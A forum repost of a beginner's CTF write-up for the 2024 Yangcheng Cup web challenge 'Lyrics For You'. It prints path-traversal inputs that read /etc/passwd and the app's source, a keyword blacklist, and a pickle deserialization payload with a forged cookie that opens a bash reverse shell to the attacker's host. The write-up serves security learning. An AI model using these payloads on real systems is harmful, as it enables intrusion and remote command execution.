ToB企服应用市场:ToB评测及商务社交产业平台

标题: 【2024羊城杯】初赛WEB-Lyrics For You解题分享 [打印本页]

作者: 张春    时间: 2024-10-11 03:02
标题: 【2024羊城杯】初赛WEB-Lyrics For You解题分享
【2024羊城杯】初赛WEB-Lyrics For You解题分享

开端分析,获取源码

靶机开启后只显示一个页面,页面有三个超链接,打开后url为https://ip:port/lyrics?lyrics=Rain.txt,开端推测为路径拼接文件读取,返回文件内容。
使用lyrics=/…/…/…/…/…/…/…/etc/passwd发现读取服务器用户信息成功,
改为lyrics=/…/…/…/…/…/…/…/proc/self/cmdline读取当前进程完备命令,
显示python -u /usr/etc/app/app.py,
访问lyrics=/…/…/…/…/…/…/…/usr/etc/app/app.py读取源码

跟据import内容
读取cookie.py和secret_key

源码分析

app.py

  1. def Waf(data):
  2.     """
  3.     Web应用防火墙函数,检查数据中是否包含黑名单中的敏感词汇
  4.     :param data: 待检测的数据
  5.     :return: 如果数据中包含敏感词则返回True,否则返回False
  6.     """
  7.     blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
  8.     valid = False
  9.     for word in blacklist:
  10.         if word.lower() in data.lower():
  11.             valid = True
  12.             break
  13.     return valid
复制代码
app.py莫名有个waf在这,肯定不是白放的
  1. @app.route("/board", methods=['GET'])
  2. def board():
  3.     """
  4.     处理留言板请求,根据用户cookie显示不同的页面
  5.     :return: 渲染的用户或管理员页面
  6.     """
  7.     invalid = cookie_check("user", secret=secret_code)
  8.     if invalid:
  9.         return "Nope, invalid code get out!"
  10.     data = get_cookie("user", secret=secret_code)
  11.     if isinstance(data, bytes):
  12.         a = pickle.loads(data) #**这里有pickle反序列化漏洞**
  13.         data = str(data, encoding="utf-8")
  14.     if "username" not in data:
  15.         return render_template('user.html', name="guest")
  16.     if data["username"] == "admin":
  17.         return render_template('admin.html', name=data["username"])
  18.     if data["username"] != "admin":
  19.         return render_template('user.html', name=data["username"])
  20. if __name__ == "__main__":
  21.     # 设置工作目录为当前文件所在的目录
  22.     os.chdir(os.path.dirname(__file__))
  23.     # 运行Flask应用
  24.     app.run(host="0.0.0.0", port=8080)
复制代码
接下来只要通过伪造session传递数据到pickle.loads(data),然后使用系统命令执行反弹shell
  1. (S'bash -c "bash -i >& /dev/tcp/ip/4000 0>&1"'
  2. ios
  3. system
  4. .
复制代码
cookie.py

直接调用cookie_encode函数
  1. data=('user',b'''(S'bash -c "bash -i >& /dev/tcp/ip/4000 0>&1"'
  2. ios
  3. system
  4. .
  5. ''')print(cookie_encode(data, secret_code))
复制代码
user=!fzBR6MTlPIgw1wjf8B3CXw==?gAWVSAAAAAAAAACMBHVzZXKUQzsoUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2lwLzQwMDAgMD4mMSInCmlvcwpzeXN0ZW0KLpSGlC4=
反弹shell

先访问/login,之后访问/board,
使用Burpsuite拦截,修改cookie为须要的内容
当地监听4000端口,反弹shell成功
开端尝试读取flag
cat /flag显示没有权限,提权也还没学会
ls后,发现根目录有/readflag文件
直接运行得到flag
总结

和去年的2023羊城杯的Serpent很像,思路也差不多,只是细节上不太一样,但是新人菜鸡做了快一天,这一天学的比一暑假都多(还被队友骂了
叠甲:新人CTFer第一次做这么复杂的标题,如果有错误麻烦各位师傅指出来,本身查到的相关资料放在最后了,感谢看到这里Ciallo~(∠・ω< )⌒☆
扩展链接:


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4